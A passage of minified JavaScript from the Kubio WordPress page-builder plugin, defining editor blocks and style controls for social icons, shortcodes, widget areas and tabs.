o=Xk.objectColorIcons.find((e=>e.name===n||e.name+"-square"===n));if(void 0===o.color)return;e.setAttribute("icon.name",t),e.setStyle("fill",o.color,{styledComponent:"icon"})}}}}))((e=>{const{computed:t}=e,{afterIconChange:o}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.IconPickerWithPath,{path:"icon.name",type:He.WithDataPathTypes.ATTRIBUTE,afterIconChange:o}),Object(xe.createElement)(Re.LinkControlWithData,null))})),Zk=Object(xe.createContext)({}),Jk=()=>Object(xe.useContext)(Zk),eE=Object(He.withComputedData)((e=>({iconGetter:e=>e.getAttribute("icon.name","")})))((e=>{const{panelLabel:t,addButtonText:o=Object(We.__)("Add Icon","kubio"),computed:n}=e,{currentActiveItem:a,setCurrentActiveItem:l}=Jk(),{iconGetter:r}=n;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:t,className:"social-icons-sortable"},Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",style:$k.SPACING}),Object(xe.createElement)(Re.SortableCollapseGroupWithData,{activeItems:[a],selectItem:!0,iconGetter:r,addButtonText:o,allowMultipleExpanded:!1,onSelect:e=>l(e.id)},(e=>Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:e.clientId},Object(xe.createElement)(Qk,null))))))})),tE=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(eE,{panelLabel:Object(We.__)("Social Icons Properties","kubio")})),oE=[Yo.SOCIAL_ICON],nE=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{const{getBlocks:o}=e("core/block-editor");return{hasInnerBlocks:!!o(t.clientId).length}})),Object(He.withColibriDataAutoSave)(Be.noop),Object(He.withStyledElements)(Be.noop))((e=>{const{StyledElements:t,hasInnerBlocks:o,clientId:n}=e,{removeBlock:a}=Object(Ve.useDispatch)("core/block-editor");Object(xe.useEffect)((()=>{o||a(n)}),[o]);const l=$o({},{allowedBlocks:oE,orientation:"vertical",renderAppender:!1});return Object(xe.createElement)(t.Outer,l)})),aE="link",lE="icon",rE={[aE]:{label:Object(We.__)("Link","kubio"),internal:!0,supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE}},[lE]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC,filters:{background:{types:["none","gradient"]},border:{showReset:!0}}}}},iE={type:He.WithDataPathTypes.STYLE,style:lE};var cE=Object(He.withComputedData)((e=>{const t=e.withChildren(),[o,n]=Object(xe.useState)(Xk.stateToggle.values.NORMAL),a={styledComponent:$k.ICON,state:"normal"},l={styledComponent:$k.ICON,state:o},r=function(e,t){t.setStyle("fill",e,{styledComponent:$k.ICON,state:"normal"}),t.setStyle("fill",e,{styledComponent:$k.ICON,state:"hover"})},i={value:e.getProp("styleType"),onChange:o=>{var n,l;const{icon:i}=e.sharedData.style.descendants;switch(e.setProp("styleType",o),o){case"official":r(Fe.UNSET_VALUE,e),t.forEach((e=>{const t=e.getAttribute("icon").name.split("/").pop(),o=Xk.objectColorIcons.find((e=>e.name===t||e.name+"-square"===t));void 0!==(null==o?void 0:o.color)&&(e.setProp("styleType","official"),r(o.color,e))}));break;case"individual":t.forEach((e=>{e.setStyle("",i,a),e.setProp("styleType","individual")})),e.unsetStyle("",null,a);break;case"shared":const o=null===(n=t[0].sharedData.style)||void 0===n||null===(l=n.descendants)||void 0===l?void 0:l.icon;t.forEach((e=>{e.setProp("styleType","individual"),e.setStyle("",null,a)})),e.setStyle("",o,a)}}},c={value:e.getStyle("fill",null,l),onChange:t=>{e.setStyle("fill",t,l)}},s={value:e.getStyle("size",null,a)};return{iconSpacing:{value:e.getStyle("margin.right",null,a)},iconPadding:{value:e.getStyle("padding.right",null,a)},styleType:i,iconSize:s,fillColor:c,currentState:o,setCurrentState:n,showOptions:"individual"!==i.value}}))((e=>{const{computed:t}=e,{iconSpacing:o,iconPadding:n,styleType:a,fillColor:l,iconSize:r,currentState:i,setCurrentState:c,showOptions:s}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icons","kubio"),initialOpen:!0},Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Style type","kubio"),options:Xk.styleTypeOptions},a)),s&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("State","kubio"),options:Xk.stateToggle.options,value:i,onChange:c}),"shared"===a.value&&Object(xe.createElement)(Re.ColorIndicatorPopover,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),showReset:!0,state:i},l)),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Icon background","kubio"),showReset:!0,path:"background",state:i},iE)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),showReset:!0,path:["border.top.color","border.bottom.color","border.left.color","border.right.color"]},iE,{state:i})),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),capMin:!0,path:"size",style:lE},r)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon spacing","kubio"),max:50,path:"margin.right",style:lE},o)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon padding","kubio"),capMin:!0,path:["padding.top","padding.bottom","padding.left","padding.right"],max:50,style:lE},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.BordersAndRadiusWithPath,{type:"style",style:lE,path:"border",withColor:!1})),!s&&Object(xe.createElement)(Re.ControlNotice,{label:Object(We.__)("Info","kubio"),content:Object(We.__)("Please select an icon to style it","kubio")})))}));const sE=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(cE,null));var uE=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{const{clientId:o}=t,{getBlockOrder:n}=e("core/block-editor");return{hasChildBlocks:n(o).length>0}})),He.withPropsChecker)((function(e){const[t,o]=Object(xe.useState)(),n=Object(xe.useMemo)((()=>({currentActiveItem:t,setCurrentActiveItem:o,socialIconsClientId:e.clientId})),[t]);return Object(xe.createElement)(Zk.Provider,{value:n},Object(xe.createElement)(tE,null),Object(xe.createElement)(sE,null),Object(xe.createElement)(nE,e))}));const pE=Object(We.__)("Make your social media profiles stand out across your website. From Instagram to Snapchat and Youtube, you can add any icon you need and style it to match your brand.","kubio"),bE={name:"kubio/social-icons",category:"kubio-components",attributes:{kubio:{type:"object"},groupStyles:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",ICON:"icon"},elementsByName:{outer:{props:{className:["social-icons--container"]},wrapper:!0,default:!0},icon:{selector:".h-svg-icon"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{props:{styleType:"shared"},style:{descendants:{outer:{textAlign:"center"},icon:{fill:"rgba(0, 0, 0, 0.5)",size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}}}}}}},mE=Object(nn.extendBlockMeta)(bE,{title:Object(We.__)("Social Icons","kubio"),icon:on.BlockIcons.SocialButtons,keywords:[Object(We.__)("social icons","kubio"),Object(We.__)("icons","kubio"),Object(We.__)("social","kubio"),Object(We.__)("facebook","kubio"),Object(We.__)("twitter","kubio"),Object(We.__)("instagram","kubio"),Object(We.__)("linkedin","kubio"),Object(We.__)("youtube","kubio"),Object(We.__)("snapchat","kubio"),Object(We.__)("tik tok","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Kk,unlinkStyleIncludesChildren:!0},reusable:!1,html:!1},edit:uE,save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},innerBlocksDisableInBetweenInserter:!0,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:pE}:e}),dE={NORMAL:"normal",HOVER:"hover"},hE={styleTypeOptions:[{value:"official",label:Object(We.__)("Official","kubio")},{value:"shared",label:Object(We.__)("Shared","kubio")},{value:"individual",label:Object(We.__)("Individual","kubio")}],objectColorIcons:[{name:"facebook",color:"rgb(59,89,152)"},{name:"twitter",color:"rgb(29,161,242)"},{name:"linkedin",color:"rgb(0,119,181)"},{name:"youtube",color:"rgb(255,0,0)"},{name:"whatsapp",color:"rgb(37,211,102)"},{name:"tumblr",color:"rgb(54,70,93)"},{name:"instagram",color:"rgb(195,42,163)"},{name:"snapchat",color:"rgb(255,252,0)"},{name:"pinterest",color:"rgb(189,8,28)"},{name:"reddit",color:"rgb(255,69,0)"},{name:"foursquare",color:"rgb(249,72,119)"},{name:"stumbleupon",color:"rgb(233,72,38)"},{name:"viadeo",color:"rgb(240,115,85)"},{name:"deviantart",color:"rgb(5,204,71)"},{name:"flickr",color:"rgb(244,0,131)"},{name:"vimeo",color:"rgb(26,183,234)"},{name:"google",color:"rgb(219,68,55)"},{name:"medium",color:"rgb(2,184,117)"},{name:"behance",color:"rgb(23,105,255)"},{name:"wordpress",color:"rgb(61,139,187)"}],stateToggle:{values:dE,options:[{label:Object(We.__)("Normal","kubio"),value:dE.NORMAL},{label:Object(We.__)("Hover","kubio"),value:dE.HOVER}]}},OE={type:He.WithDataPathTypes.STYLE,style:lE};var gE=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{let{clientId:o}=t;return{parentClientId:e("core/block-editor").getBlockRootClientId(o)}})),Object(He.withObserveOtherBlocks)(((e,t)=>{let{parentClientId:o}=t;return o})),Object(He.withComputedData)(((e,t)=>{const{getBlockAttributes:o}=Object(Ve.useSelect)("core/block-editor"),n=e.withParent(),[a,l]=Object(xe.useState)(hE.stateToggle.values.NORMAL),r={styledComponent:lE},i=e=>n.getStyle(e,"",r),c=function(e,t){t.setStyle("fill",e,{styledComponent:"icon",state:"normal"}),t.setStyle("fill",e,{styledComponent:"icon",state:"hover"})},s={value:n.getProp("styleType","shared"),onChange:t=>{var n,a;const l=e.withParent(),i=l.withChildren();l.setProp("styleType",t);const u=o(l.clientId),{icon:p}=null===(n=u.kubio)||void 0===n||null===(a=n.style)||void 0===a?void 0:a.descendants;switch(t){case"official":c(Fe.UNSET_VALUE,l),c(Fe.UNSET_VALUE,e),i.forEach((e=>{e.unsetStyle("",null,r),c(Fe.UNSET_VALUE,e);const t=e.getAttribute("icon").name.split("/").pop(),o=hE.objectColorIcons.find((e=>e.name===t||e.name+"-square"===t));o&&c(o.color,e)}));break;case"individual":i.forEach((e=>{e.setStyle("",p,r)})),l.unsetStyle("",null,r);break;case"shared":let t=!0;i.forEach((e=>{const n=o(e.clientId),a="individual"===s.value?n.kubio.style.descendants.icon:p;t&&(l.setStyle("",a,r),t=!1),e.unsetStyle("",null,r)}))}}},u={normal:Object(tl.useInheritedTypographyValue)("a","color"),hover:Object(tl.useInheritedTypographyValue)("a","states.hover.color")},p={value:e.getStyle("size",i("size"),r)};return{iconSpacing:{value:e.getStyle("margin.right",i("margin.right"),r)},iconPadding:{value:e.getStyle("padding.right",i("padding.right"),r)},styleType:s,borderColor:u,iconSize:p,currentState:a,setCurrentState:l,parentDataHelper:n}})))((e=>{const{computed:t,clientData:o}=e,{clientId:n}=o,{iconSpacing:a,iconPadding:l,styleType:r,borderColor:i,iconSize:c,currentState:s,setCurrentState:u,parentDataHelper:p}=t,b="individual"!==r.value?p.clientId:n;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon style","kubio"),initialOpen:!0},Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Style type","kubio"),options:hE.styleTypeOptions},r)),Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:b},Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("State","kubio"),options:hE.stateToggle.options,value:s,onChange:u}),"official"!==r.value&&Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),showReset:!0,path:"fill"},OE,{state:s})),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Icon background","kubio"),showReset:!0,path:"background"},OE,{state:s})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),showReset:!0,path:["border.top.color","border.bottom.color","border.left.color","border.right.color"]},OE,{state:s,defaultValue:i[s]})),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),capMin:!0,path:"size",style:lE},c)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon spacing","kubio"),max:50,path:"margin.right",style:lE},a)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon padding","kubio"),capMin:!0,path:["padding.top","padding.bottom","padding.left","padding.right"],max:50,style:lE},l)),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!1}),Object(xe.createElement)(Re.BordersAndRadiusWithPath,{type:"style",style:lE,path:"border",withColor:!1}))))}));const yE=e=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(gE,e))),jE=e=>{const{clientId:t,isSelected:o,dataHelper:n}=e,[a,l]=Object(xe.useState)(!1),r=Object(Ve.useDispatch)("core/block-editor"),{insertBlocks:i}=r,{block:c,insertionPointRootClientId:s,insertionPointIndex:u}=Object(Ve.useSelect)((e=>{const{getBlockInsertionPoint:o,getBlock:n}=e("core/block-editor"),a=o();return{insertionPointRootClientId:a.rootClientId,insertionPointIndex:a.index,block:n(t)}}),[t]),p=Object(xe.useRef)(),b=a&&o&&Object(xe.createElement)(Le.Popover,{position:"center top",className:"kubio-color-popover",onClose:()=>l(!1),anchorRef:null==p?void 0:p.current},Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:t},Object(xe.createElement)(Re.LinkControlWithData,null)));return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{name:"link",icon:PO.a,title:Object(We.__)("Link","kubio"),onClick:()=>(l(!0),!1),ref:p}))),b,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:ma,title:Object(We.__)("Add","kubio"),onClick:()=>{n.duplicate({unlink:!0})}}))))},kE=e=>{let{isSelected:t,StyledElements:o,clientId:n,dataHelper:a}=e;return Object(xe.createElement)(xe.Fragment,null,t&&Object(xe.createElement)(jE,{isSelected:t,clientId:n,dataHelper:a}),Object(xe.createElement)(o.Link,null,Object(xe.createElement)(o.Icon,{tag:Re.CanvasIcon,shouldRender:!0})))},EE=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>({link:e.getAttribute("link"),icon:e.getAttribute("icon")}))),Object(He.withStyledElements)((function(){var e;let{computed:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[lE]:{name:null==t||null===(e=t.icon)||void 0===e?void 0:e.name},[aE]:{}}}))),fE=EE(kE);EE(kE);var vE=Object(He.withPropsChecker)((function(e){const t=Jk(),{socialIconsClientId:o,setCurrentActiveItem:n}=t,a={clientId:o};return Object(xe.useEffect)((()=>{e.isSelected&&n(e.clientId)}),[e.isSelected]),Object(xe.createElement)(xe.Fragment,null,e.isSelected&&Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(tE,a)),Object(xe.createElement)(yE,null),Object(xe.createElement)(fE,e))}));const _E={name:"kubio/social-icon",category:"kubio-basic",parent:["kubio/social-icons"],attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:"socicon/facebook"}}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon"},elementsByName:{link:{wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["social-icon-link"]}},icon:{default:!0,prefixWithTag:!0,props:{tag:"icon",htmlTag:"span"},size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon"}}]},useParentPrefix:!0}}},CE=Object(nn.extendBlockMeta)(_E,{title:Object(We.__)("Social Icon","kubio"),icon:on.BlockIcons.SocialButtons,keywords:[],parent:["kubio/social-icons"],apiVersion:2,supports:{kubio:{elementsByName:rE},reusable:!1,html:!1,inserter:!0},edit:vE}),IE="outer",TE={[IE]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}};var SE=Object(xe.createElement)(aa.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(xe.createElement)(aa.Path,{d:"M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z"}));const wE=e=>{let{value:t,onChange:o}=e;const n=`blocks-shortcode-input-${Object(Me.useInstanceId)(wE)}`;return Object(xe.createElement)("div",{className:"wp-block-shortcode components-placeholder"},Object(xe.createElement)("label",{htmlFor:n,className:"components-placeholder__label"},Object(xe.createElement)(sa.a,{icon:SE}),Object(We.__)("Shortcode","kubio")),Object(xe.createElement)(De.PlainText,{className:"blocks-shortcode__textarea",id:n,value:t,placeholder:Object(We.__)("Write shortcode here…","kubio"),onChange:o}))},PE=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>({shortcode:{value:e.getAttribute("shortcode"),onChange:t=>{e.setAttribute("shortcode",t)}}}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[IE]:{}}}))),AE=PE((e=>{const{computed:t,StyledElements:o}=e,{shortcode:n}=t;return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(wE,{value:n.value,onChange:n.onChange}))}));var BE=()=>Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Shortcode Properties","kubio")},Object(xe.createElement)(Re.TextareaControlWithPath,{path:"shortcode",type:He.WithDataPathTypes.ATTRIBUTE}));const NE=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(BE,null));var xE=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(NE,null),Object(xe.createElement)(AE,e))}));const RE={name:"kubio/shortcode",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},inEditor:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"}}}}},DE=Object(nn.extendBlockMeta)(RE,{title:Object(We.__)("Shortcode","kubio"),description:Object(We.__)("Use shortcodes to insert various custom-made forms, galleries, tables, and more, depending on the plugins you use.","kubio"),keywords:[Object(We.__)("shortcode","kubio")],icon:on.BlockIcons.Shortcode,apiVersion:2,supports:{kubio:{elementsByName:TE},reusable:!1,html:!1},edit:xE}),LE=function(){const{sidebars:e}=Object(Ve.useSelect)((e=>{const t=e("core").getSidebars(),o=[];return t&&(o.push({label:Object(We.__)("Select widget area","kubio"),value:""}),t.forEach((e=>{let{id:t,name:n}=e;"wp_inactive_widgets"!==t&&o.push({label:n,value:t})}))),{sidebars:o}}),[]);return e};var ME=Object(He.withComputedData)((e=>({sidebars:LE()})))((e=>{let{computed:t}=e;const{sidebars:o}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Widget area","kubio")},Object(xe.createElement)(Re.SelectControlWithPath,{options:o,type:He.WithDataPathTypes.ATTRIBUTE,path:"id"})))}));const WE=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(ME,null)),HE="container",GE={[HE]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:cn.StatesPresetsEnum.BASIC}}};var UE=Object(He.withColibriDataAutoSave)((e=>{}))((e=>{let{computed:t}=e;const o=Ne.a.get(GE,HE);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.BackgroundSection,{styledElement:o}),Object(xe.createElement)(Re.BordersAndRadiusSection,{initialOpen:!1}))}));const FE=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(UE,null)),zE=e=>{let{setWidgetAreaId:t}=e;const o=LE(),n=Object(We.__)("Widget area","kubio");let a=Object(We.__)("Use one of the existing widgets area available","kubio");return(null==o?void 0:o.length)<2&&(a=Object(We.__)("Current theme has no Widget Area defined.","kubio")),Object(xe.createElement)(Re.BlockPlaceholder,{title:n,description:a,icon:on.BlockIcons.Contact},o.length>1&&Object(xe.createElement)("div",{className:"wp-block-navigation-placeholder__actions"},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Flex,null,Object(xe.createElement)(Le.FlexBlock,null,Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.SelectControl,{className:$e()("wp-block-navigation-placeholder__select-control"),onChange:t,options:o})))))))},VE=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>({id:e.getAttribute("id",""),setWidgetAreaId:Object(xe.useCallback)((t=>{e.setAttribute("id",t)}),[e])}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{}})),Object(He.withContainerBase)()),YE=VE((e=>{const{computed:t,StyledElements:o}=e,{id:n,setWidgetAreaId:a}=t,l=$o({},{}),r={id:n};return Object(xe.createElement)(o.Container,l,n&&Object(xe.createElement)(He.ServerSideRender,{block:"kubio/widget-area",attributes:r}),!n&&Object(xe.createElement)(zE,{setWidgetAreaId:a}))}));const $E={name:"kubio/widget-area",category:"kubio-blog-components",attributes:{kubio:{type:"object"},id:{type:"string",default:""}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{default:!0,wrapper:!0,props:{tag:"div"}}},template:{type:"element",props:{name:"container"}}}}},KE=Object(nn.extendBlockMeta)($E,{title:Object(We.__)("Widget area","kubio"),description:Object(We.__)("The widget area block allows you to add blog widgets to anywhere you want on a page or post.","kubio"),keywords:[Object(We.__)("widget","kubio"),Object(We.__)("area","kubio")],icon:on.BlockIcons.WidgetArea,apiVersion:2,supports:{kubio:{elementsByName:GE},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(WE,null),Object(xe.createElement)(FE,null),Object(xe.createElement)(YE,e))},save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),qE=Object(We.__)("Make use of tabs to improve navigation and user experience. Style your tabs in the normal, hover, and active state.","kubio"),XE=Object(xe.createContext)({}),QE=()=>Object(xe.useContext)(XE),ZE=(e,t)=>{var o,n;const{clientId:a}=e,{getClientIdsOfDescendants:l,getBlocksByClientId:r,getBlockOrder:i}=t("core/block-editor"),c=r(l([a])),s=Ne.a.first(c.filter((e=>e.name===Yo.TAB_ITEMS))),u=null==s?void 0:s.clientId;return{firstTabItemClientId:null===(o=i(u))||void 0===o?void 0:o[0],secondTabItemClientId:null===(n=i(u))||void 0===n?void 0:n[1],tabItemsClientId:u}},JE={HORIZONTAL:"horizontal",VERTICAL:"vertical"},ef=[{value:JE.HORIZONTAL,label:Object(We.__)("Horizontal","kubio")},{value:JE.VERTICAL,label:Object(We.__)("Vertical","kubio")}],tf={NORMAL:"normal",HOVER:"hover",ACTIVE:"customActive"},of=[{label:Object(We.__)("Normal","kubio"),value:tf.NORMAL},{label:Object(We.__)("Hover","kubio"),value:tf.HOVER},{label:Object(We.__)("Active","kubio"),value:tf.ACTIVE}],nf=(Object(We.__)("PX","kubio"),{values:tf,options:of}),af={AUTO:"auto",STRETCH:"stretch",FULL_WIDTH:"full"},lf=[{label:Object(We.__)("Auto","kubio"),value:af.AUTO},{label:Object(We.__)("Stretch","kubio"),value:af.STRETCH},{label:Object(We.__)("Full width","kubio"),value:af.FULL_WIDTH}],rf=lf.filter((e=>e.value!==af.STRETCH)),cf={layout:{options:ef,values:JE},iconSize:{px:{max:30}},tabsItemsStates:nf,tabsItemsWidth:{values:af,options:{horizontal:lf,vertical:rf},default:af.AUTO}},sf=Object(He.withComputedData)((e=>{const{ownerDocument:t}=Object(He.useOwnerDocumentContext)(),o=o=>{o||""!==o||(o="tab-title"),o=Object(un.generateSlug)(o,t),e.setAttribute("slug",o)},n={value:e.getAttribute("title"),onChange:t=>{e.setAttribute("title",t),o(t)}};return{slug:{value:e.getAttribute("slug"),onChange:o},title:n}}))((e=>{let{computed:t,useIcons:o}=e;const{slug:n,title:a}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.InputControl,Object(ut.a)({label:Object(We.__)("Title","kubio")},a)),Object(xe.createElement)(Re.InputControl,Object(ut.a)({label:Object(We.__)("Slug","kubio")},n)),o&&Object(xe.createElement)(Re.IconPickerWithPath,{path:"icon",type:He.WithDataPathTypes.ATTRIBUTE}))}));var uf=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{const{setCurrentTabClientId:o,currentTabClientId:n,selectTabBlock:a}=QE(),l=Object(xe.useCallback)((e=>{o(e.id)}),[o]),{tabItemsClientId:r,firstTabItemClientId:i,secondTabItemClientId:c}=ZE(t,e),s=Object(xe.useCallback)((e=>{e.id===n&&o(n===i?c:i),a()}),[o,n]);return{tabItemsClientId:r,activeItems:Object(xe.useMemo)((()=>n?[n]:[]),[n]),onItemSelect:l,afterDeleteHook:s}})),Object(He.withComputedData)((e=>{const t=e.getProp("layout","horizontal"),{ownerDocument:o}=Object(He.useOwnerDocumentContext)(),n={value:e.getPropInMedia(`tabItemsWidth.${t}`),onChange:o=>e.setPropInMedia(`tabItemsWidth.${t}`,o)},a=e.getProp("icons.show"),l=(e,t)=>Object(We.sprintf)(// translators: %d is the new number of tabs this block has.
Object(We.__)("Tab title %d","kubio"),t+1);return{useIcons:a,layout:t,tabsItemWidth:n,afterAddHook:(e,t)=>{const n=l(0,t.length),a=Object(un.generateSlug)(n,o);e.setAttribute("title",n),e.setAttribute("slug",a)},afterDuplicateHook:(e,t,n)=>{const{title:a}=n,l=Object(un.generateSlug)(a,o);e.setAttribute("slug",l)},iconGetter:e=>!!a&&e.getAttribute("icon"),titleGetter:l}})))((e=>{let{computed:t,tabItemsClientId:o,activeItems:n,onItemSelect:a,afterDeleteHook:l}=e;const{tabsItemWidth:r,layout:i,afterAddHook:c,afterDuplicateHook:s,iconGetter:u,useIcons:p}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Tab Properties","kubio")},Object(xe.createElement)(Re.SelectControlWithPath,{className:"kubio-tab-layout-select-control",label:Object(We.__)("Tab layout","kubio"),type:He.WithDataPathTypes.PROP,options:cf.layout.options,path:"layout"}),Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({options:cf.tabsItemsWidth.options[i],label:Object(We.__)("Tab items width","kubio")},r)),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Use icons","kubio"),type:He.WithDataPathTypes.PROP,path:"icons.show"}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Re.SortableCollapseGroupWithData,{activeItems:n,titlePath:"title",iconGetter:u,afterAddHook:c,afterDuplicateHook:s,afterDeleteHook:l,onSelect:a,allowMultipleExpanded:!1,label:Object(We.__)("Tab items","kubio")},(e=>Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:e.clientId},Object(xe.createElement)(sf,{useIcons:p}))))))}));const pf=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(uf,e)),bf="outer",mf="content",df="tabBar",hf="tabBarHorizontal",Of="tabItemHorizontal",gf="tabItemVertical",yf="tabItem",jf="icons",kf="tabItemText",Ef="v-space",ff={[bf]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:["normal"]}},[mf]:{label:Object(We.__)("Content","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}},[df]:{label:Object(We.__)("Tab Bar","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}},[yf]:{label:Object(We.__)("Tab 